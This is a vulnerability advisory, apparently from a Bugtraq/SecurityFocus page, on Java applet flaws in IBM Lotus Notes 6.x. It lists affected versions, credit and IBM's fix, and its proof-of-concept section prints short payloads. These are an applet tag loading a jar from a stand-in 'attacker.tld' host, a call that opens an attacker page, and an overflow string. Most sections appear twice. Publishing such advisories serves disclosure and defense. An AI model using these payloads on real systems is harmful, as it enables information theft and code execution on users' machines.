IBM Lotus Notes Multiple Java Applet Vulnerabilities
BID:10704
Info
IBM Lotus Notes Multiple Java Applet Vulnerabilities
| Bugtraq ID: | 10704 |
| Class: | Unknown |
| CVE: |
CVE-2004-2281 CVE-2004-2280 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 13 2004 12:00AM |
| Updated: | Jan 02 2007 07:56PM |
| Credit: | Discovery of these issues is credited to Jouko Pynnonen. |
| Vulnerable: |
IBM Lotus Notes 6.5.2 IBM Lotus Notes 6.5 IBM Lotus Notes 6.0.4 IBM Lotus Notes 6.0.1 IBM Lotus Notes 6.0 |
| Not Vulnerable: |
IBM Lotus Notes 6.5.4 IBM Lotus Notes 6.0.5 |
Discussion
IBM Lotus Notes Multiple Java Applet Vulnerabilities
IBM Lotus Notes is affected by three vulnerabilities concerning Java applets.
An attacker can exploit these issues to disclose potentially sensitive information, cause a web browser to open an arbitrary web page, and cause a stack-based buffer overflow that may be exploited to execute arbitrary code.
IBM has confirmed these vulnerabilities and has stated that they are currently under investigation. IBM problem reports for these vulnerabilities are KSPR5YS6GR, KSPR62F4D3, and KSPR62F4KN.
IBM Lotus Notes is affected by three vulnerabilities concerning Java applets.
An attacker can exploit these issues to disclose potentially sensitive information, cause a web browser to open an arbitrary web page, and cause a stack-based buffer overflow that may be exploited to execute arbitrary code.
IBM has confirmed these vulnerabilities and has stated that they are currently under investigation. IBM problem reports for these vulnerabilities are KSPR5YS6GR, KSPR62F4D3, and KSPR62F4KN.
Exploit / POC
IBM Lotus Notes Multiple Java Applet Vulnerabilities
Currently we are not aware of any exploits for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
The following proofs of concept are available:
Information disclosure:
<applet codebase="file:///" archive="http://www.attacker.tld/applet.jar" width="1" height="1"></applet>
Arbitrary browser opening:
public void init() {
getAppletContext().showDocument("http://www.attacker.tld/ie-exploits.html");
}
Stack-based buffer overflow:
<applet codebase="A:AAAAAAAAAAAAAAA( repeat 520 A's )AAAAAA" code="java.applet.Applet" width=100 height=100></applet>
Currently we are not aware of any exploits for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
The following proofs of concept are available:
Information disclosure:
<applet codebase="file:///" archive="http://www.attacker.tld/applet.jar" width="1" height="1"></applet>
Arbitrary browser opening:
public void init() {
getAppletContext().showDocument("http://www.attacker.tld/ie-exploits.html");
}
Stack-based buffer overflow:
<applet codebase="A:AAAAAAAAAAAAAAA( repeat 520 A's )AAAAAA" code="java.applet.Applet" width=100 height=100></applet>
Solution / Fix
IBM Lotus Notes Multiple Java Applet Vulnerabilities
Solution:
IBM has released updates to address these issues. Please see the referenced advisory for more information.
Solution:
IBM has released updates to address these issues. Please see the referenced advisory for more information.
References
IBM Lotus Notes Multiple Java Applet Vulnerabilities
References:
References:
- Java applet flaws found in Notes (SearchDomino.com)
- Lotus Homepage (IBM)
- Lotus Notes R5 Client (IBM)
- Security Vulnerabilities Reported with Java Applets (IBM)
- Security Vulnerabilities Reported with Java Applets (IBM)
- Details of Lotus Notes Java Applet vulnerabilities (Jouko Pynnonen)